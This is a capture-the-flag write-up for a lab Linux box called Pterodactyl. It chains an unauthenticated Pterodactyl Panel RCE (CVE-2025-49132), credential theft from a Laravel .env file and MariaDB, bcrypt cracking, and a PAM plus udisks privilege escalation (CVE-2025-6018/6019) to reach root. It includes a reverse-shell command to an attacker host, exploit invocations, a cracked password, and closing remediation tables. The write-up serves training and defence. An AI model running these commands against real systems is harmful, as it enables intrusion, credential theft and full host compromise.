Summary
Pterodactyl is a Linux box built around an unauthenticated RCE in the Pterodactyl game-server management panel. A static "MonitorLand" landing page on port 80 gives no functionality of its own, but a leaked changelog.txt discloses the exact panel version (v1.11.10) and backend stack (PHP-PEAR, MariaDB). Virtual host fuzzing turns up the actual panel at panel.pterodactyl.htb, and the disclosed version maps directly to CVE-2025-49132 - an unauthenticated PHP object-deserialization RCE via the /locales/locale.json endpoint, abusable through PHP-PEAR to gain code execution as wwwrun. From there, the Laravel .env file leaks MariaDB credentials, and dumping the users table yields bcrypt password hashes; cracking one with john recovers valid SSH credentials for phileasfogg3, who owns the box's only real home directory - and the user flag.
Privilege escalation chases a D-Bus/udisks/polkit trust chain surfaced during manual and automated enumeration. The direct route, CVE-2025-6019 (a libblockdev/udisks LPE), requires an allow_active (physically-present) session, which an SSH session doesn't satisfy by default. Fingerprinting the OS (openSUSE Leap 15.6) leads to a second bug, CVE-2025-6018 (a PAM/pam-config flaw), which promotes a plain SSH session to allow_active. Chaining the two - first elevating the session's Polkit context, then using that context to trigger a SUID bash via a crafted XFS filesystem mount through udisks - yields a root shell and the root flag.
Key techniques: information disclosure via leaked changelog -> vhost enumeration -> CVE-2025-49132 (Pterodactyl Panel unauthenticated RCE via PEAR-based deserialization) -> Laravel .env credential disclosure -> MariaDB credential dump -> offline bcrypt cracking -> SSH foothold -> CVE-2025-6018 (PAM allow_active session escalation) -> CVE-2025-6019 (libblockdev/udisks LPE via crafted XFS mount) -> SUID bash -> root.
1. Reconnaissance
An nmap scan was run to identify open ports and services.
nmap -sCV -T4 -A <MACHINE-IP> -o nmap-pterodactyl
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-09 07:01 EST
Nmap scan report for pterodactyl.htb (<MACHINE-IP>)
Host is up (0.22s latency).
Not shown: 978 filtered tcp ports (no-response), 18 filtered tcp ports (admin-prohibited)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey:
| 256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
|_ 256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
80/tcp open http nginx 1.21.5
|_http-title: "My Minecraft Server"
|_http-server-header: nginx/1.21.5
443/tcp closed https
8080/tcp closed http-proxy
Aggressive OS guesses: Linux 5.0 - 5.14 (98%), Linux 4.15 - 5.19 (94%), Linux 2.6.32 - 3.13 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 216.42 ms 10.10.14.1
2 210.40 ms pterodactyl.htb (<MACHINE-IP>)
Nmap done: 1 IP address (1 host up) scanned in 34.08 seconds
Two services are exposed:
- 22/tcp - SSH
- 80/tcp - HTTP (nginx), titled "My Minecraft Server"
pterodactyl.htb was added to /etc/hosts:
sudo nano /etc/hosts
<MACHINE-IP> pterodactyl.htb panel.pterodactyl.htb
2. Web Enumeration
The site itself is a static "MonitorLand" landing page for a Minecraft server community, with no interactive functionality:
While the page itself has nothing to exploit, it links out to play.pterodactyl.htb and a changelog. Fetching http://pterodactyl.htb/changelog.txt turned out to be far more useful than the page it was linked from:
MonitorLand - CHANGELOG.txt
========================================
Version 1.20.X
[Added] Main Website Deployment
-------------------------------
- Deployed the primary landing site for MonitorLand.
- Implemented homepage, and link for Minecraft server.
- Integrated site styling and dark-mode as primary.
[Linked] Subdomain Configuration
-------------------------------
- Added DNS and reverse proxy routing for play.pterodactyl.htb.
- Configured NGINX virtual host for subdomain forwarding.
[Installed] Pterodactyl Panel v1.11.10
-------------------------------
- Installed Pterodactyl Panel.
- Configured environment:
- PHP with required extensions.
- MariaDB 11.8.3 backend.
[Enhanced] PHP Capabilities
-------------------------------
- Enabled PHP-FPM for smoother website handling on all domains.
- Enabled PHP-PEAR for PHP package management.
- Added temporary PHP debugging via phpinfo()
This single file discloses the exact Pterodactyl Panel version (v1.11.10), the database backend (MariaDB 11.8.3), and - critically - that PHP-PEAR is enabled. That combination significantly narrows the search for a version-specific vulnerability.
2.1 Virtual Host Enumeration
ffuf -u http://pterodactyl.htb -H "HOST: FUZZ.pterodactyl.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc 200
________________________________________________
:: Method : GET
:: URL : http://pterodactyl.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.pterodactyl.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
________________________________________________
panel [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 610ms]
panel.pterodactyl.htb was added to /etc/hosts and resolves to the Pterodactyl Panel login page.
3. Exploitation - CVE-2025-49132
With the exact panel version in hand, research turned up a matching vulnerability: an unauthenticated LFI/RCE affecting Pterodactyl Panel.
CVE-2025-49132 abuses the /locales/locale.json endpoint. By controlling the locale and namespace parameters, an attacker can include arbitrary files - which, combined with PHP-PEAR being enabled, leads to PHP object deserialization via PEAR, ultimately resulting in unauthenticated remote code execution.
PoC used: YoyoChaud/CVE-2025-49132
A listener was started first:
nc -lnvp 4444
listening on [any] 4444 ...
Then the exploit was run against the panel:
python3 exploit.py http://panel.pterodactyl.htb --pear-dir /usr/share/php/PEAR \
--rce-cmd "/bin/bash -i >& /dev/tcp/<ATTACKER-IP>/4444 0>&1"
Pterodactyl Panel - Unauthenticated Exploit
Targets: <= 1.11.10 | Patched: 1.11.11
Exploit By YoyoChaud
════════════════════════════════════════════════════════════
VULNERABILITY CHECK
════════════════════════════════════════════════════════════
[*] Target: http://panel.pterodactyl.htb
[+] Endpoint accessible without hash parameter
[+] TARGET IS VULNERABLE
════════════════════════════════════════════════════════════
RCE (pearcmd) - /bin/bash -i >& /dev/tcp/<ATTACKER-IP>/4444 0>&1
════════════════════════════════════════════════════════════
[+] Output:
(connection held - check your listener)
The listener catches a shell as wwwrun:
nc -lnvp 4444
listening on [any] 4444 ...
connect to [<ATTACKER-IP>] from (UNKNOWN) [<MACHINE-IP>] 60140
bash: cannot set terminal process group (1214): Inappropriate ioctl for device
bash: no job control in this shell
wwwrun@pterodactyl:/var/www/pterodactyl/public>
3.1 Stabilizing the Shell and Finding the User
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z to suspend, then on the attacker terminal:
stty raw -echo; fg
export TERM=xterm
# Enumerate users
cat /etc/passwd
Of the accounts with /bin/bash as their shell, only phileasfogg3 has an accessible home directory - making it the clear target for the next stage.
3.2 User Flag
wwwrun@pterodactyl:/var/www/pterodactyl/public> cat /home/phileasfogg3/user.txt
HTB{REDACTED}
4. Database Enumeration and Credential Cracking
Laravel applications (which power the Pterodactyl Panel) store database credentials in a .env file - a high-value target during post-exploitation.
# Locate the .env file
find / -type f -name "*.env" 2>/dev/null
# Read it for database credentials
cat /path/to/.env
This discloses the MariaDB username, password, and database name. With MariaDB (not MySQL) confirmed as the backend:
mariadb -h 127.0.0.1 -u <DB_USER> -p <DB_NAME>
# Prompts for the password from .env
SHOW TABLES;
DESCRIBE users;
SELECT email, username, password FROM users;
This returns two bcrypt password hashes. Bcrypt hashes need to be cracked (not decrypted), so they were saved to a file and run through john:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:02 0.00% (ETA: 2026-02-11 01:00) 0g/s 81.08p/s 178.3c/s 178.3C/s manuel..jessie
0g 0:00:00:03 0.00% (ETA: 2026-02-11 06:48) 0g/s 80.00p/s 171.4c/s 171.4C/s oliver..brenda
0g 0:00:00:05 0.00% (ETA: 2026-02-11 12:24) 0g/s 78.41p/s 163.9c/s 163.9C/s simple..nicole1
0g 0:00:00:38 0.02% (ETA: 2026-02-11 23:46) 0g/s 70.81p/s 141.6c/s 141.6C/s 159159..outlaw
!QAZ2wsx (?)
1g 0:00:05:11 0.20% (ETA: 2026-02-10 21:40) 0.003213g/s 112.4p/s 157.0c/s 157.0C/s 052204..yadiel
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
john recovers the candidate password !QAZ2wsx. Although it comes back tagged as an unresolved user ((?)) mid-session, it's the only hit against the two loaded hashes - confirmed against phileasfogg3 in the next step.
4.1 SSH Foothold
Although a shell was already available via the web RCE, SSH provides a more stable session and is generally required for the privilege escalation techniques used later.
ssh phileasfogg3@pterodactyl.htb
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
(phileasfogg3@pterodactyl.htb) Password: !QAZ2wsx
Have a lot of fun...
Last login: Mon Feb 9 18:24:39 2026 from <ATTACKER-IP>
phileasfogg3@pterodactyl:~> whoami
phileasfogg3
phileasfogg3@pterodactyl:~> id
uid=1002(phileasfogg3) gid=100(users) groups=100(users)
phileasfogg3@pterodactyl:~> groups
users
sudo -l was checked as a matter of course:
phileasfogg3@pterodactyl:~> sudo -l
[sudo] password for phileasfogg3:
Matching Defaults entries for phileasfogg3 on pterodactyl:
always_set_home, env_reset, env_keep="LANG LC_ADDRESS LC_CTYPE LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES
LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS XDG_SESSION_COOKIE", !insults,
secure_path=/usr/sbin\:/usr/bin\:/sbin\:/bin, targetpw
User phileasfogg3 may run the following commands on pterodactyl:
(ALL) ALL
This looks like unrestricted sudo at first glance, but the targetpw Defaults entry changes what password sudo actually asks for: instead of phileasfogg3's own password, it requires the target account's password (i.e. root's). Since that isn't known, this (ALL) ALL grant is a dead end without a separate route to root - confirming that no directly usable sudo/SUID path exists here, and pushing enumeration toward the system's D-Bus/Polkit stack instead.
5. Privilege Escalation
Initial manual enumeration (sudo -l, SUID search) didn't reveal a usable path, so a deeper pass was run with linpeas.sh.
Reviewing the linpeas.sh output flagged SUID-related activity involving D-Bus, mount, and udisks. Since disk-management operations run with elevated privileges, this immediately suggested a possible authorization bypass. udisks is a daemon that manages disks, partitions, and mount operations; runs as root; and exposes its functionality over D-Bus. The relevant trust chain is:
User -> D-Bus -> udisksd (root) -> Polkit (authorization)
Enumerating the relevant binaries and services confirmed the daemon was present and running:
phileasfogg3@pterodactyl:/tmp> ls -l /usr/lib/polkit-1/polkitd
-rwxr-xr-x 1 root root 113104 Jul 15 2025 /usr/lib/polkit-1/polkitd
phileasfogg3@pterodactyl:/tmp> busctl list | grep -i udisks
org.freedesktop.UDisks2 (activatable) -
phileasfogg3@pterodactyl:/tmp> ls /usr/lib/udisks2/
udisksd
This led to CVE-2025-6019.
PoC used: guinea-offensive-security/CVE-2025-6019
5.1 CVE-2025-6019 - libblockdev/udisks LPE
A Local Privilege Escalation vulnerability was found in libblockdev. Generally, the allow_active setting in Polkit permits a physically-present user to perform certain actions based on session type. Due to how libblockdev interacts with the udisks daemon, an allow_active user can escalate to full root privileges on the target host.
The catch: CVE-2025-6019 requires the attacker to be classified as an allow_active (physically present) user. SSH sessions aren't considered physically present by default, so this condition wasn't satisfied - an additional bug was needed to promote the session first.
5.2 CVE-2025-6018 - PAM allow_active Escalation
The OS version was checked to look for something that could bridge this gap:
phileasfogg3@pterodactyl:~> cat /etc/os-release
NAME="openSUSE Leap"
VERSION="15.6"
ID="opensuse-leap"
ID_LIKE="suse opensuse"
VERSION_ID="15.6"
PRETTY_NAME="openSUSE Leap 15.6"
ANSI_COLOR="0;32"
CPE_NAME="cpe:/o:opensuse:leap:15.6"
BUG_REPORT_URL="https://bugs.opensuse.org"
HOME_URL="https://www.opensuse.org/"
DOCUMENTATION_URL="https://en.opensuse.org/Portal:Leap"
LOGO="distributor-logo-Leap"
openSUSE Leap 15.6, combined with known CVEs against that release, led to CVE-2025-6018:
A Local Privilege Escalation vulnerability in pam-config within Linux Pluggable Authentication Modules (PAM). The flaw allows an unprivileged local attacker to obtain elevated privileges normally reserved for a physically-present allow_active user. An attacker with low-privilege local access (e.g. via SSH) could bypass authentication controls, perform Polkit actions typically restricted to console users, gain unauthorized control over system configuration and services, and potentially compromise system integrity, confidentiality, and availability.
PoC used: ibrahmsql/CVE-2025-6018
5.3 Escalating to allow_active
python3 CVE-2025-6018.py -i <MACHINE-IP> -u phileasfogg3 -p '!QAZ2wsx'
This opens a reverse shell running in an allow_active Polkit session context - satisfying the precondition CVE-2025-6019 needs.
5.4 Hosting the CVE-2025-6019 Exploit Files
# On the attacker machine
python3 -m http.server 8000
CVE-2025-6019's PoC needs a crafted XFS filesystem image, generated locally first:
sudo bash exploit.sh
PoC for CVE-2025-6019 (LPE via libblockdev/udisks)
WARNING: Only run this on authorized systems. Unauthorized use is illegal.
Continue? [y/N]: y
[+] All dependencies are installed.
[*] Checking for vulnerable libblockdev/udisks versions...
[*] Detected udisks version: unknown
[!] Warning: Specific vulnerable versions for CVE-2025-6019 are unknown.
[!] Verify manually that the target system runs a vulnerable version of libblockdev/udisks.
[!] Continuing with PoC execution...
Select mode:
[L]ocal: Create 300 MB XFS image (requires root)
[C]ible: Exploit target system
[L]ocal or [C]ible? (L/C): l
[*] Creating a 300 MB XFS image on local machine...
300+0 records in
300+0 records out
314572800 bytes (315 MB, 300 MiB) copied, 0.364347 s, 863 MB/s
meta-data=./xfs.image isize=512 agcount=4, agsize=19200 blks
= sectsz=512 attr=2, projid32bit=1
= crc=1 finobt=1, sparse=1, rmapbt=1
= reflink=1 bigtime=1 inobtcount=1 nrext64=1
data = bsize=4096 blocks=76800, imaxpct=25
naming =version 2 bsize=4096 ascii-ci=0, ftype=1, parent=0
log =internal log bsize=4096 blocks=16384, version=2
realtime =none extsz=4096 blocks=0, rgcount=0
[+] 300 MB XFS image created: ./xfs.image
[*] Transfer to target with: scp xfs.image <user>@<host>:
The generated xfs.image was downloaded onto the victim (over the reverse shell from the allow_active escalation):
wget http://<ATTACKER-IP>:8000/xfs.image
exploit.sh itself was also fetched. Before running it, its dependencies check function (called near the bottom of the script) needs removing, since the required tooling isn't present on the target and the check would otherwise abort the run:
wget http://<ATTACKER-IP>:8000/exploit.sh
chmod +x exploit.sh
bash exploit.sh
5.5 Triggering the Exploit on the Target
exploit$ ./exploit.sh
PoC for CVE-2025-6019 (LPE via libblockdev/udisks)
WARNING: Only run this on authorized systems. Unauthorized use is illegal.
Continue? [y/N]: y
[*] Checking for vulnerable libblockdev/udisks versions...
[*] Detected udisks version: unknown
[!] Warning: Specific vulnerable versions for CVE-2025-6019 are unknown.
[!] Continuing with PoC execution...
Select mode:
[L]ocal: Create 300 MB XFS image (requires root)
[C]ible: Exploit target system
[L]ocal or [C]ible? (L/C): C
[*] Starting exploitation on target machine...
[*] Checking allow_active status...
[+] allow_active status confirmed.
[*] Verifying xfs.image integrity...
[*] Stopping gvfs-udisks2-volume-monitor...
[*] Note: gvfs-udisks2-volume-monitor was not running.
[*] Setting up loop device...
[+] Loop device configured: /dev/loop0
[*] Keeping filesystem busy to prevent unmounting...
[+] Background loop started (PID: 17836)
[*] Resizing filesystem to trigger mount...
[+] Mount successful (expected error: target is busy).
[*] Waiting 2 seconds for mount to stabilize...
[*] Checking for SUID bash in /tmp/blockdev*...
[+] SUID bash found: /tmp/blockdev.MSMGK3/bash
The allow_active status confirmation is the key line - it proves the CVE-2025-6018 escalation from the previous step actually took effect. From there, the exploit races a crafted XFS mount through udisks and lands a SUID bash binary.
5.6 Root Flag
bash-5.3# whoami
root
bash-5.3# cd /root
bash-5.3# cat root.txt
HTB{REDACTED}
6. Attack Chain Summary
Initial Enumeration
│
├─ Nmap Scan
│ ├─ Port 22 → SSH
│ └─ Port 80 → HTTP (static landing page)
│
├─ Information Disclosure
│ └─ changelog.txt → Pterodactyl Panel v1.11.10, MariaDB, PHP-PEAR enabled
│
├─ Virtual Host Enumeration
│ └─ panel.pterodactyl.htb discovered
│
├─ Web Application Exploitation
│ └─ CVE-2025-49132
│ └─ Unauthenticated RCE via /locales/locale.json (PEAR deserialization)
│
├─ Initial Access
│ └─ Reverse shell as wwwrun
│
├─ Post-Exploitation
│ ├─ Enumerate Laravel files
│ └─ Discover .env configuration file
│
├─ Credential Discovery
│ └─ Extract MariaDB credentials
│
├─ Database Enumeration
│ ├─ Dump users table
│ └─ Extract bcrypt password hashes
│
├─ Credential Attack
│ └─ Crack hash using John the Ripper → phileasfogg3
│
├─ Lateral Movement
│ └─ SSH access as phileasfogg3 (user flag)
│ └─ sudo -l shows (ALL) ALL, but targetpw blocks direct use
│
├─ Local Enumeration
│ └─ Identify D-Bus / udisks / polkit trust chain (linpeas + manual)
│
├─ Privilege Escalation Chain
│ ├─ CVE-2025-6018
│ │ └─ Convert SSH session to allow_active
│ │
│ └─ CVE-2025-6019
│ └─ Exploit libblockdev/udisks via crafted XFS mount → SUID bash
│
└─ Root Access
└─ Read /root/root.txt
7. Key Vulnerabilities
| # | Vulnerability | Impact |
|---|---|---|
| 1 | Exposed changelog.txt disclosing Pterodactyl Panel version, DB backend, and PHP-PEAR status |
Enables precise, targeted vulnerability research |
| 2 | CVE-2025-49132 (Pterodactyl Panel) | Unauthenticated remote code execution via PHP-PEAR deserialization |
| 3 | Database credentials stored in the Laravel .env file, readable post-RCE |
Allows attackers to access and dump the MariaDB backend |
| 4 | Weak user password (bcrypt hash crackable via rockyou.txt) | Enables SSH login as phileasfogg3
|
| 5 | Misleading sudo -l grant ((ALL) ALL gated by targetpw) |
Not directly exploitable, but highlights confusing/overlooked sudo configuration |
| 6 | CVE-2025-6018 (pam-config) | Converts a remote SSH session into an allow_active session |
| 7 | CVE-2025-6019 (libblockdev / udisks / Polkit) | Local privilege escalation to root via a crafted filesystem mount |
8. Remediations
| Vulnerability | Recommendation |
|---|---|
Exposed changelog.txt
|
Remove changelogs, README files, and other version-disclosing artifacts from production web roots |
| CVE-2025-49132 (Pterodactyl Panel RCE) | Upgrade to Pterodactyl Panel 1.11.11 or later; disable PHP-PEAR in production unless explicitly required |
Database credentials in .env readable post-compromise |
Restrict filesystem permissions on .env to the web service user only; consider a secrets manager instead of a flat file for production credentials |
| Weak/crackable user password | Enforce strong, non-dictionary passwords; screen against breach/wordlist databases such as rockyou.txt
|
Confusing sudo configuration ((ALL) ALL + targetpw) |
Avoid broad ALL) ALL grants even when gated by targetpw; audit sudoers entries for unintended or misleading permissions |
CVE-2025-6018 (PAM allow_active escalation) |
Patch PAM/pam-config to a fixed version; monitor for unexpected Polkit allow_active session grants from non-console sessions |
| CVE-2025-6019 (libblockdev/udisks LPE) | Patch libblockdev/udisks to a fixed version; restrict which users/sessions can invoke udisks mount operations via Polkit policy |
| Lack of monitoring on Polkit/D-Bus privileged operations | Deploy detection for anomalous udisks/polkit activity, unexpected loop-device creation, and SUID binary creation in world-writable paths like /tmp
|
Top comments (0)